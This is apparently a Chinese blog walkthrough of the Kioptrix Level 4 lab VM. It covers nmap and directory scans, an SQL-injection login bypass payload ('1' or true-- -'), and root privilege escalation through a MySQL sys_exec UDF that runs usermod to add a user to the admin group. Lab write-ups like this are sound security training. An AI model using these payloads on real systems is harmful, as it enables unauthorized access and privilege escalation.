当前位置: 首页 > article >正文

Vulnhun靶机-kioptix level 4-sql注入万能密码拿到权限ssh连接利用mysql-udf漏洞提权

目录

  • 一、环境搭建
  • 信息收集
    • 扫描ip
    • 扫描开放端口
    • 扫描版本服务信息
    • 指纹探测
    • 目录扫描
  • 二、Web渗透
    • sql注入
  • 三、提权
    • UDF提权
    • 修改权限

一、环境搭建

然后选择靶机所在文件夹

信息收集

本靶机ip和攻击机ip

攻击机:192.168.108.130
靶机:192.168.108.141  

扫描ip

靶机ip为:192.168.108.141

扫描开放端口

可用信息

22/tcp  open  ssh                
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

扫描版本服务信息

可用信息

//端口        //应用层协议     //详细信息
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) //操作系统ubuntu
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

指纹探测

nmap 192.168.108.141 -p 22,80,139,445 -sV -sC -O --version-all 

可用信息:

Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Samba smbd 3.0.28a

目录扫描

dirsearch -u http://192.168.108.141 -e*
dirb http://192.168.108.141

可用信息:

http://192.168.108.141/images/                 //图片
http://192.168.108.141/checklogin.php          //检测登录情况
http://192.168.108.141/database.sql            //数据库文件
http://192.168.108.141/index.php               //主页面                                                                                                                
http://192.168.108.141/john/                   //用户john                                                                                                                      
http://192.168.108.141/logout                  //登出                                                                                                              
http://192.168.108.141/member                  //用户个人空间                                                                                                              
http://192.168.108.141/server-status          //常见的用于监控和获取 Web 服务器状态的文件或页面

二、Web渗透

访问80端口,一个登录框,尝试弱口令无果

根据信息收集的东西,访问database.sql页面,有三个传参点,id,username,password,以及一个可能是用户名和密码的消息

image-20250222175649475

尝试后发现不对

sql注入

密码处报错,存在注入

利用万能密码尝试

1' or true-- -  #'将sql语句注释 or ture 添加永真条件 -- -:注释掉后面的 SQL 代码,防止其执行

登录查看,发现这是member的页面,查看源码并未有什么有用消息

三、提权

拿到了账号密码就可以使用ssh连接,这里使用**-o HostKeyAlgorithms=+ssh-rsa**算法连接,因为靶机只支持该算法

ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.108.141

成功登录之后发现让我们输入help或?,输入看看,回显了一部分命令,看来是我们只能使用这些命令进行操作,这里可能需要使用shell逃逸,即绕过安全限制

image-20250222182555966

可用命令如下

cd  clear  echo  exit  help  ll  lpath  ls

找找可用信息,可用看到我们是john用户,有几个可疑文件**.bash_history.bash_logout.lhistory**

查看当前SHELL变量,使用echo $SHELL

成功切换shell,查看当前进程,发现mysql是以root权限进行的

UDF提权

这里我们可用使用UDF提权

在 MySQL 中,UDF(User Defined Function,用户定义函数)提权是一种利用用户定义函数的漏洞或特性来提升权限的攻击手段。攻击者可以通过创建恶意的用户定义函数来执行任意代码,从而获得更高的权限,甚至可能完全控制数据库服务器

查找先前收集的php信息

find / -name *.php 2> /dev/null  #2> /dev/null的意思是将错误信息全部丢弃,/dev/null是一个特殊设备文件,任何写入的设备都会被丢弃

查看一下登录检测页面,发现mysql密码为空,也是挺抽象

连接mysql,成功连接

查看数据库和数据表,有一个可疑文件

看看该表

select * from 'func';

修改权限

发现一个sys_exec函数,sys_exec 函数是一个用户定义函数(UDF),它允许执行系统命令并返回命令的输出。这个函数并不是 MySQL 的内置函数,而是通过安装特定的 UDF 扩展来实现的。

修改john为管理员

select sys_exec('usermod -a -G admin john');

看看参数的意思

  • usermod 是一个 Linux 命令,用于修改用户账户的属性。
  • -a 选项表示将用户添加到指定的组,而不从其他组中删除。
  • -G admin 指定要将用户添加到的组,这里是 admin 组。
  • john 是要修改的用户名。

exit退出mysql,输入sudo -i即可拿到root权限

这里看看两中切换管理员命令的区别


http://www.kler.cn/a/560936.html

相关文章:

  • 05C语言——数组
  • 95.【C语言】解析预处理(3)
  • 【安装及调试旧版Chrome + 多版本环境测试全攻略】
  • [特殊字符] Elasticsearch 双剑合璧:HTTP API 与 Java API 实战整合指南
  • 塔能科技构建智慧隧道生态系统——城市升级改造的协同创新典范
  • 【Java项目】基于Spring Boot的简历系统
  • 电脑没声音了怎么恢复正常?一键恢复电脑声音
  • 使 Windows 呈现 macOS 风格的多功能桌面美化软件
  • 连锁管理系统的五大核心设计及 PHP 源码分享
  • 【深度解析:基于 C 语言实现含 IP 城市地址因素的抖音式简化推荐算法】
  • 2.2 STM32F103C8T6最小系统板的四种有关固件的开发方式
  • 超导量子计算机的最新进展:走向实用化的量子革命
  • 官方文档学习TArray数组的运算符
  • GaussDB会话超时参数与最大连接数设置
  • 一文读懂Docker之Docker Swarm集群平台搭建
  • 单片机裸机编程-时机管理
  • 电机控制的空间矢量调制 (SVPWM)
  • ubuntu-24.04.1-desktop 中的 QT6.7 QtCreator 调试程序
  • 数据结构:双链表list
  • elasticsearch在windows上的配置